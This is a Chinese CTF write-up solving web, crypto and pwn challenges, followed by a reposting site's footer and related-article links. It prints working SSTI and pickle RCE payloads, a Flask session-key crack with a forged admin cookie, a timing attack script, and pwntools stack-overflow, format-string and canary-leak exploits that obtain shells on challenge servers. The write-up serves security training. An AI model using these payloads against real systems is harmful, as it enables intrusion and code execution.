GJS-WCP

不懂的就问,但我也是二把手......哭死

web

GJS-ezssti

很常规的ssti模板注入,只过滤了"/","flag"。

过滤了/,flag
可以利用bash的特性绕过,如字符串截取,环境变量等等。payload1:
{{url_for.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;cat f*').read()")}}payload2:
{{lspnum.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;cat f*').read()")}}payload3:
{{x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;cat f*').read()")}}
#其中x可以为任意值payload4:
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;cat f*').read()")}}

还有很多getshell的手法,大家可以去研究。 

GJS-php_itr

本题主要考察的是php的原生类。

首先利用Directorylterator、FilesystemIterator等来得到文件目录结构。
再利用SplFileObject类就可以读取flag。这里就直接cat flag了,然后在源码里及即看到flag。
?cla=SplFileObject&parm=/flag.php

GJS-sess_pickle

源码:

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetimecurrentDateAndTime = datetime.now()
currentTime = currentDateAndTime.strftime("%H%M%S")app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime@app.route('/')
def index():session['username'] = 'user-pickle'return send_file('app.py')@app.route('/flag', methods=['GET', 'POST'])
def flag():if not session:return 'There is no session available in your client :('if request.method == 'GET':return 'You are {} now'.format(session['username'])if session['username'] == 'admin':pickle_data=base64.b64decode(request.form.get('pickle_data'))# maybe ...RCEuserdata=pickle.loads(pickle_data)return userdataelse:return 'Access Denied'if __name__=='__main__':app.run(host="0.0.0.0", port=8080)

通过阅读源码其实可以知道 SECRET_KEY的长度为6位。

currentDateAndTime = datetime.now()
currentTime = currentDateAndTime.strftime("%H%M%S")

然后可以利用flask_unsign库进行暴力破解。

import itertools
import flask_unsign
from flask_unsign.helpers import wordlistpath = "wordlist.txt"#生成爆破字典
with open(path,"w") as f:[f.write("".join(x)+"\n") for x in itertools.product('0123456789', repeat=6)]#生成条件#需要爆破的session
cookie_tamper = "eyJ1c2VybmFtZSI6InVzZXItcGlja2xlIn0.ZxeQyg.TIb3nCNhe5r2qeuCW4m36YSrcaA"obj = flask_unsign.Cracker(value=cookie_tamper)with wordlist(path, parse_lines=False) as iterator:obj.crack(iterator)secret = ""
if obj.secret:secret = obj.secret.decode()print(f"{secret}")

得到 SECRET_KEY=095954。

最后构造cookie为admin的凭证。{'username':'admin'} 。用我们老演员--flask_session_manager.py得到admin的token。

root@iZf8z3zcbp57dpbdy2dbh7Z:~/tools# python3 flask_session_manager.py encode -t "{'username': 'admin'}" -s 095954
eyJ1c2VybmFtZSI6ImFkbWluIn0.ZxejBw.YP4_Qe_5ZBR8eMAeIHixCfzaU0s

 最后就是一个python的反序列化。

pickle_data=base64.b64decode(request.form.get('pickle_data'))
# maybe ...RCE
userdata=pickle.loads(pickle_data)

构造payload-rce。

from pickle import *
import base64class A():def __reduce__(self):return (eval,("__import__('os').popen('cat /flag').read()",))a=dumps(A())
print(base64.b64encode(a))
print(loads(a))# b'gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnJykucmVhZCgplIWUUpQu'

 最后发送这个payload。

GJS-非常 timing 的逐字符串匹配

本题主要考的是基于逐字符判断的侧信道攻击。

测信道攻击的漏洞的主要原因是:
1、密码是逐个字符判断的。
2、输入正确字符和错误字符造成的判断时间相差较大,由于此两点原因,我们可以根据漏洞程序的执行时间逐步判断密码的每一位字符是否正确,从而最终猜解出密码。

所以我们可以对每一位数字提交后的反馈时间。比如第一位可以设置为[0-9]中的任意一个,然后对比时间,时间差异最大的就是正确位数

算法文盲,将就看:

import requests
import timeurl = 'http://154.9.243.120:5479/?student=20220158111&password='pass_dic = '0123456789'
password = list('000000000')
minimumTime  = 0session = requests.Session()for i in range(9):tmp_pass = ''for j in range(len(pass_dic)):total_time = 0for _ in range(3):passwd = passwordstart_time = time.time()passwd[i] = pass_dic[j]response = session.get(url=url+(''.join(passwd)))response_time = time.time() - start_timetotal_time += response_time# 计算平均时间,冗余,误差average_time = total_time/3if average_time > minimumTime:minimumTime = average_timetmp_pass = pass_dic[j]time.sleep(0.3)password[i] = tmp_passprint(password)print(session.get(url=url+(''.join(password))).text)

算法太菜了。 

crypto

GJS-pwn-xor

题目考察的是对pwntools的使用(密码手也需要会pwntools) 。

from pwn import xorfrom Crypto.Util.number import bytes_to_longkey = ??
flag = 'eRr0r{xxxxx}'
c = bytes_to_long(xor(flag, key))print("c={}".format(c))
# c=1989358635555601586944294666564439690559417088273929305967202923478426264295213557413803015356391360278

 看源码得知key的长度为2位,所以只需要对key进行一个爆破即可。

from pwn import xor
from Crypto.Util.number import *key_list = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
c=1989358635555601586944294666564439690559417088273929305967202923478426264295213557413803015356391360278lens = len(key_list)
for i in range(lens):for j in range(lens):key = key_list[i]+key_list[j]m = xor(long_to_bytes(c),key.encode())if b'eRr0r' in m:print(m)break
xingu@XPATH:~$ /bin/python3 /home/xingu/cc.py
b'eRr0r{57c6bf19-40d1-4ae5-aa2f-c102afbefb3c}'

GJS-RSA不需要开方

from Crypto.Util.number import *
from gmpy2 import *flag = b'eRr0r{xxxxxxx}'
e = 65537
p = getPrime(512)
q = getPrime(512)n = p * p * q
r = p * p * p
c = powmod(bytes_to_long(flag), e, n)
print(f'n={n}')
print(f'r={r}')
print(f'c={c}')"""
n=956644758662325334275935677193545846966964224730768047800799484199254874848755570176621105964216685450400592519779736299071620670198679767076909951861275366349274913564855611804713576455973452798738480576393513782959858991023279368811318477928590312287345976269507693182717835090889323737161445009094230471966576067059180367710675776431780850981672590718621642406649772873983155144565115561215357644060989674313666664128285428710418608626157654320096959468332789
r=1345078375760026706835636528104232935324792813299481702959191413869678433585611612489489233850135754004008454255442067094416057070653581682216472162832576102395929522964758137562331369937309520932341038194588061234349285835173264924581628476525732548802996777119376402597432941823910805400422997388890125959165744110693548332102850004546567333233033056330747571604112513118676120054887873919132942248368949405204018082281972171926154390788995387954327057809116473
c=936310107479804816008419620783331591731669973551600412630438496096506936555654150347316504628936567917322628361192826332723621557085687187656374265595928800179023434816282465737570583664049306302433304764932094555068571960389925568234337849324139382026123756712781801729784082813537306655834855225574012571190343998486944126889100533730013294773898567894735241014148086447852399651017513015256218096669695768149692738056964549129474502511719667414306379946087801
"""

本题求出pq有两种方法:

第一种,直接对r开3次方即可
p = iroot(r,3)[0]
q = n // p**2第二种,利用公约数:
# n = p * p * q
# r = p * p * p
n和r公约数位p**2pp = gcd(n,r)
p = r//pp
q = n //pp

payload:

from Crypto.Util.number import *
from gmpy2 import *e = 65537
# n = p * p * q
# r = p * p * pn=956644758662325334275935677193545846966964224730768047800799484199254874848755570176621105964216685450400592519779736299071620670198679767076909951861275366349274913564855611804713576455973452798738480576393513782959858991023279368811318477928590312287345976269507693182717835090889323737161445009094230471966576067059180367710675776431780850981672590718621642406649772873983155144565115561215357644060989674313666664128285428710418608626157654320096959468332789
r=1345078375760026706835636528104232935324792813299481702959191413869678433585611612489489233850135754004008454255442067094416057070653581682216472162832576102395929522964758137562331369937309520932341038194588061234349285835173264924581628476525732548802996777119376402597432941823910805400422997388890125959165744110693548332102850004546567333233033056330747571604112513118676120054887873919132942248368949405204018082281972171926154390788995387954327057809116473
c=936310107479804816008419620783331591731669973551600412630438496096506936555654150347316504628936567917322628361192826332723621557085687187656374265595928800179023434816282465737570583664049306302433304764932094555068571960389925568234337849324139382026123756712781801729784082813537306655834855225574012571190343998486944126889100533730013294773898567894735241014148086447852399651017513015256218096669695768149692738056964549129474502511719667414306379946087801pp = gcd(n,r)
p = r//pp
q = n //ppphi = p*(p-1)*(q-1)
d = invert(e,phi)
m = powmod(c,d,n)
print(long_to_bytes(m))
xingu@XPATH:~$ /bin/python3 /home/xingu/cc.py
b'eRr0r{8405b28f-0361-4ff2-a7be-207976959e57}'

GJS-公约数

from Crypto.Util.number import *
from gmpy2 import *flag = b'eRr0r{xxxxx}'
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
e = 65537
n = p * q
crk = 20241023
hint = powmod(crk + 2024 * p, e, n)
c = powmod(m, e, n)print(f'c={c}')
print(f'hint={hint}')
print(f'n={n}')
"""
c=9260515433610120280008788616369917527440918016583970463267413888038620231632315755053130819135680219725193705143276989448464568923287780884567477444752281787219008197778235694808310015451436273173120342244508480300309327125740550720761803016805090772084892303426324401458208853572349436651241114325126813178387774773225671310675661384364583719937986137431924661751667799721403091088819130712074446392667925270602713820578698380555087508570396354596507820301695407501589171316466749765566640671175261738214786931233515226676383610095252777602357358715830442730793413854030130159429831836139461346783752981050813732069
hint=8094412685291396028609075626918140121506947522568951876054923981766018665809307245676906962476129535524261290288676682415754365494729100653964464043778107187780094987346960936524957684351202664556083007516342647270843318799374573265572433597813542467233774440761157666163653083434901710684602668110754606779618547097469723494051944423735743020796614230912654483076371143884272140665083106681250761777421849174392250115711493211614041421966160007494118001886509021791801603279425718319848286079047627747060392153242687995879244305361283318239633489351437938349967104089252073286122852948926120077346704517839491242600
n=23943887157244144155119304091490887271618409550249370466947408451630786373270023317955770997094495960178972234787734527489930932382886951681503407337732409056867814217798179098470500423183149599235298318961753544247139126393603818930198570518572541969106263681690246969943380184085615036939160841952487430183744682360269049755724699223823113423345833853721055104064208499773196686029550287842335392225460471498725028570388425785174864702422657076986041883407370525124516499400063195102043767284110595801090960970448531501256554964589108962129695186026989010988971553669949886294626941810027891021837474837841341804809
"""

给了一个hint = powmod(crk + 2024 * p, e, n) 。

hint = powmod(crk + 2024 * p, e, n)
所以有hint=(crk+2024*p)^e %n展开,根据二项式定理有:hint=(crk^e + k1*crk^(e-1)*2024*p+k2*crk^(e-2)*2024*p^2+....+(2024*p)^e)  %n
将k1*crk^(e-1)*2024*p+k2*crk^(e-2)*2024*p^2+....全部可以换为k*p既hint=(crk^e + k*p + (2024*p)^e) %n
还可以换一下:(k*p + (2024*p)^e) = kp
hint=(crk^e+kp) %n ==> hint=crk^e + k1*p + k2*p*q然后两把同时%p,既:hint%p=crk^e%p
hint+k1p=crk^e+k2p ==> crk^e - hint = kp这时我们可以用求公约数的方法求出p:p = gcd(crk^e - hint,n)
q = n//p

payload:

from Crypto.Util.number import *
from gmpy2 import *e = 65537
c=9260515433610120280008788616369917527440918016583970463267413888038620231632315755053130819135680219725193705143276989448464568923287780884567477444752281787219008197778235694808310015451436273173120342244508480300309327125740550720761803016805090772084892303426324401458208853572349436651241114325126813178387774773225671310675661384364583719937986137431924661751667799721403091088819130712074446392667925270602713820578698380555087508570396354596507820301695407501589171316466749765566640671175261738214786931233515226676383610095252777602357358715830442730793413854030130159429831836139461346783752981050813732069
hint=8094412685291396028609075626918140121506947522568951876054923981766018665809307245676906962476129535524261290288676682415754365494729100653964464043778107187780094987346960936524957684351202664556083007516342647270843318799374573265572433597813542467233774440761157666163653083434901710684602668110754606779618547097469723494051944423735743020796614230912654483076371143884272140665083106681250761777421849174392250115711493211614041421966160007494118001886509021791801603279425718319848286079047627747060392153242687995879244305361283318239633489351437938349967104089252073286122852948926120077346704517839491242600
n=23943887157244144155119304091490887271618409550249370466947408451630786373270023317955770997094495960178972234787734527489930932382886951681503407337732409056867814217798179098470500423183149599235298318961753544247139126393603818930198570518572541969106263681690246969943380184085615036939160841952487430183744682360269049755724699223823113423345833853721055104064208499773196686029550287842335392225460471498725028570388425785174864702422657076986041883407370525124516499400063195102043767284110595801090960970448531501256554964589108962129695186026989010988971553669949886294626941810027891021837474837841341804809
crk = 20241023
# hint = powmod(crk + 2024 * p, e, n)p = gcd(crk**e-hint,n)
print(isPrime(p))
q = n//pphi = (p-1)*(q-1)
d = invert(e,phi)
m = powmod(c,d,n)
print(long_to_bytes(m))

pwn

GJS-bash

这题没有什么好说的。

GJS-ret2text

简单的栈溢出。

先连接题目环境,可以看到只能输入。

将文件下载,检测保护再拖入ida中查看。 (啥保护也没)

 可以看到在main中buf到rbp(返回)的距离只有0x20字节,但是read却读了0x50字节,存在溢出。并且发现了door函数,里面执行/bin/sh,返回一个shell。

from pwn import *# 连接到远程主机
io = remote("121.43.101.206", "40011")# 定义 /bin/sh 字符串的地址
bin_sh = 0x04011FF# 构造 payload
payload = b'a' * 0x20 + b'b' * 0x8 + p64(bin_sh)# 发送 payload
io.send(payload)# 进入交互模式
io.interactive()
xingu@XPATH:~/python$ /bin/python3 /home/xingu/python/pwn1.py
[+] Opening connection to 121.43.101.206 on port 40011: Done
[*] Switching to interactive mode
__        __   _                                  ____        ___       
\ \      / /__| | ___ ___  _ __ ___   ___     ___|  _ \ _ __ / _ \ _ __ \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \   / _ \ |_) | '__| | | | '__|\ V  V /  __/ | (_| (_) | | | | | |  __/  |  __/  _ <| |  | |_| | |   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|   \___|_| \_\_|   \___/|_|   $ ls
bin
dev
flag
lib
lib32
lib64
libexec
libx32
pwn
$ cat flag
eRr0r{a570db4f-42ff-45bb-88c7-de3f95746d3d}
$  

GJS-format

本题考察格式化字符漏洞任意地址写。

什么是格式化字符串漏洞,简单来说就是我们输入%p、%c等字样就会打印出相应的值。

printf(code)

输入%p打印出地址。有一个fmtstr_payload是pwntools里的对格式化字符串漏洞利用的函数。

fmtstr_payload(offset,{base:value})

用ida打开附件。

有一个判断:

  if ( target )readflag();如果target存在就会进入readflag()函数,就会打印出flag。

 有了目标,现在就是找offset和target的地址。

target的地址很好找,在bss段。

现在就是找偏移量:

                                                                     
fmtstr_payload!
aaaabbbb %p %p %p %p %p %p %p %p %p %p %p %p
aaaabbbb 0x7ffec980b3e0 0x100 0x7f6c9c5c17e2 0xf 0x7f6c9c6de040 0x6262626261616161 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0xa70252070 (nil)

当我们输入多个%p,并在前面写一个aaaabbbb(因为是64位程序),在第6的一个%p发现了 0x6262626261616161,其实就是aaaabbbb的16进制值,所以这里的偏移量就是6。

from pwn import *context.arch='amd64'
io = remote("121.43.101.206", "40012")target= 0x4040AC
offset = 6
payload = fmtstr_payload(offset,{target:1})
io.send(payload)
io.interactive()
xingu@XPATH:~/python$ /bin/python3 /home/xingu/python/pwn1.py
[+] Opening connection to 121.43.101.206 on port 40012: Done
[*] Switching to interactive mode
__        __   _                                  ____        ___       
\ \      / /__| | ___ ___  _ __ ___   ___     ___|  _ \ _ __ / _ \ _ __ \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \   / _ \ |_) | '__| | | | '__|\ V  V /  __/ | (_| (_) | | | | | |  __/  |  __/  _ <| |  | |_| | |   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|   \___|_| \_\_|   \___/|_|   fmtstr_payload!
ca\xac@@eRr0r{5e88fa92-0208-4ac6-97b5-e87c4b9f1317}
[*] Got EOF while reading in interactive
$  

 拿到flag。

GJS-不可能让你溢出的

(终于还差最后wp,要死了)

下载文件,用checksec检测一下,发现开了canary保护(防止溢出的)。

程序给了两次输入输出的机会,那么我们就可以利用第一次输入输出将canary带出。

from pwn import *context.arch='amd64'
io=remote("121.43.101.206","40013")
back=0x040121F # /bin/sh的地址
io.recv()
payload=b'a'*(0x70-8+1) # 往canary的地址多写一个a
io.send(payload)
io.recvuntil(b'a'*0x68)
canary=u64(io.recv(8))-0x61 # 接受canary
print(hex(canary))
payload=b'a'*0x68+p64(canary)+b'a'*8+p64(back) #将canary写回去绕过保护
io.sendline(payload)
io.interactive()
xingu@XPATH:~/python$ /bin/python3 /home/xingu/python/pwn1.py
[+] Opening connection to 121.43.101.206 on port 40013: Done
0x5dbeeb7943531f00
[*] Switching to interactive mode
\x01
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$ ls
bin
dev
flag
lib
lib32
lib64
libexec
libx32
pwn
pwn.c
$ cat flag
eRr0r{03578d51-c057-478a-8bc6-3c42f8318bce}
$  

(终于写完了,要死!!!)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/454257.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[项目详解][boost搜索引擎#1] 概述 | 去标签 | 数据清洗 | scp

目录 一、前言 二、项目的相关背景 三、搜索引擎的宏观原理 四、搜索引擎技术栈和项目环境 五、正排索引 VS 倒排索引--原理 正排索引 分词 倒排索引 六、编写数据去除标签和数据清洗模块 Parser 1.数据准备 parser 编码 1.枚举文件 EnumFile 2.去标签ParseHtml(…

文件处理新纪元:微信小程序的‘快递员’与‘整理师’

嗨&#xff0c;我是中二青年阿佑&#xff0c;今天阿佑将带领大家如何通过巧妙的文件处理功能&#xff0c;让用户体验从‘杂乱无章’到‘井井有条’的转变&#xff01; 文章目录 微信小程序的文件处理文件上传&#xff1a;小程序的“快递服务”文件下载&#xff1a;小程序的“超…

学习threejs,拉伸几何体THREE.TubeGeometry管道

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️拉伸几何体THREE.TubeGeome…

Git的原理和使用(六)

本文主要讲解企业级开发模型 1. 引入 交付软件的流程&#xff1a;开发->测试->发布上线 上面三个过程可以详细划分为一下过程&#xff1a;规划、编码、构建、测试、发 布、部署和维护 最初&#xff0c;程序⽐较简单&#xff0c;⼯作量不⼤&#xff0c;程序员⼀个⼈可以完…

Imagic: Text-Based Real Image Editing with Diffusion Models

https://openaccess.thecvf.com/content/CVPR2023/papers/Kawar_Imagic_Text-Based_Real_Image_Editing_With_Diffusion_Models_CVPR_2023_paper.pdfhttps://imagic-editing.github.io/ 问题引入 针对的是text based image editing问题&#xff0c;可以解决non rigid edit&am…

【软件安装与配置】 vue

1. 安装 Node.js Vue.js 项目通常依赖于 Node.js 环境来进行开发&#xff0c;可以从 Node.js 官方网站 下载并安装稳定版本。安装 Node.js 后&#xff0c;npm&#xff08;Node 包管理器&#xff09;也会自动安装。 2. 使用 Vue CLI 安装 Vue.js Vue CLI 是一个用于快速搭建 Vu…

柔性数组的使用

//柔性数组的使用 #include<stdio.h> #include<stdlib.h> #include<errno.h> struct s {int i;int a[]; }; int main() {struct s* ps (struct s*)malloc(sizeof(struct s) 20 * sizeof(int));if (ps NULL){perror("malloc");return 1;}//使用这…

用.NET开发跨平台应用程序采用 Avalonia 与MAUI如何选择

Avalonia是一个强大的框架&#xff0c;使开发人员能够使用.NET创建跨平台应用程序。它使用自己的渲染引擎绘制UI控件&#xff0c;确保在Windows、macOS、Linux、Android、iOS和WebAssembly等不同平台上具有一致的外观和行为。这意味着开发人员可以共享他们的UI代码&#xff0c;…

容灾与云计算概念

​​​​​​基础知识容灾备份——备份技术系统架构与备份网络方案-CSDN博客 SAN&#xff0c;是storage area network的简称&#xff0c;翻译过来就是存储区域网络。 顾名思义&#xff0c;SAN首先是一个网络&#xff0c;其次它是关于存储的&#xff0c;区域则是指服务器和存储资…

iTOP-RK3568开发板独立NPU通过算法加特应用到以下的场景

iTOP-3568开发板采用瑞芯微RK3568处理器&#xff0c;内部集成了四核64位Cortex-A55处理器。主频高达2.0Ghz&#xff0c;RK809动态调频。集成了双核心架构GPU&#xff0c;ARM G52 2EE、支持OpenGLES1.1/2.0/3.2、OpenCL2.0、Vulkan1.1、内嵌高性能2D加速硬件。 内置独立NPU,算力…

出血性脑卒中临床智能诊疗建模

出血性脑卒中是一种常见但危险的脑血管疾病&#xff0c;其治疗和管理需要及时而准确的诊断以及有效的预测模型。本研究旨在通过分析入院患者的临床数据和影像学特征&#xff0c;建立数学模型&#xff0c;评估患者的血肿扩张风险、血肿周围水肿进展以及长期预后。 针对问题一&a…

15分钟学Go 第8天:控制结构 - 循环

第8天&#xff1a;控制结构 - 循环 在Go语言中&#xff0c;循环是一种基本的控制结构&#xff0c;用于重复执行一段代码。今天我们将深入了解Go语言中的for循环&#xff0c;包括它的各种用法、语法结构、以及如何在实践中有效地应用循环。 1. for 循环的基本概念 for循环是G…

应对 .DevicData-X-XXXXXXXX 勒索病毒:防御与恢复策略

引言 随着信息技术的快速发展&#xff0c;网络安全问题愈发严峻。勒索病毒作为一种恶性网络攻击手段&#xff0c;已成为企业和个人面临的重大威胁之一。尤其是 .DevicData-X-XXXXXXXX 勒索病毒&#xff0c;其通过加密用户数据并勒索赎金&#xff0c;给受害者带来了巨大的经济损…

在Xshell中查看日志文件详情

学习总结 1、掌握 JAVA入门到进阶知识(持续写作中……&#xff09; 2、学会Oracle数据库入门到入土用法(创作中……&#xff09; 3、手把手教你开发炫酷的vbs脚本制作(完善中……&#xff09; 4、牛逼哄哄的 IDEA编程利器技巧(编写中……&#xff09; 5、面经吐血整理的 面试技…

子比主题美化 – 评论区添加随机夸夸功能(修复api)

简介 有很多人在网站浏览需要回复&#xff0c;有的比较嫌麻烦不愿意打字&#xff0c;也会收到一些各种评论相对比较杂乱&#xff0c;今天分享一个用夸夸功能&#xff0c;来替代传统的评论一言&#xff0c;将它们分开使用&#xff0c;先看看效果图&#xff0c;再考虑使用不使用…

基于SpringBoot+Vue+uniapp微信小程序的教学质量评价系统的详细设计和实现

项目运行截图 技术框架 后端采用SpringBoot框架 Spring Boot 是一个用于快速开发基于 Spring 框架的应用程序的开源框架。它采用约定大于配置的理念&#xff0c;提供了一套默认的配置&#xff0c;让开发者可以更专注于业务逻辑而不是配置文件。Spring Boot 通过自动化配置和约…

一文详解“位运算“在算法中的应用

找往期文章包括但不限于本期文章中不懂的知识点&#xff1a; 个人主页&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 所属专栏&#xff1a; 优选算法专题 目录 位运算的相关介绍&#xff08;重要&#xff09; 136. 只出现一次的数字 191.位1的个数 461. 汉明距离 260. 只出现一…

导数的概念及在模型算法中的应用

一. 导数概念与计算 1. 导数的物理意义&#xff1a; 瞬时速率。一般的&#xff0c;函数yf(x)在x处的瞬时变化率是 2. 导数的几何意义&#xff1a; 曲线的切线&#xff0c;当点趋近于P时&#xff0c;直线 PT 与曲线相切。容易知道&#xff0c;割线的斜率是当点趋近于 P 时&…

QT 实现按钮多样化

1.界面实现效果 以下是具体的项目需要用到的效果展示,可以根据需要,实例化想要的按钮。 2.简介 原理:使用Qt的QPropertyAnimation动画类,这里简单来说就是切换两个按钮样式。 请看以下结构体: #define MAX_LINE_COUNT 3struct PurelinStatus {QSizeF bgSize

ABAQUS应用13——大量INP文件的自动提交

文章目录 0、背景1、正文 0、背景 ABAQUS自动批量提交INP文件。原文来自曹老师公众号&#xff0c;感兴趣的可以点击这里。 为了防止遗失&#xff0c;我还是先保存比较好。 1、正文 分析需要对大量 INP 文件进行提交分析&#xff0c;在 Abaqus / CAE 中手动操作无法完成&…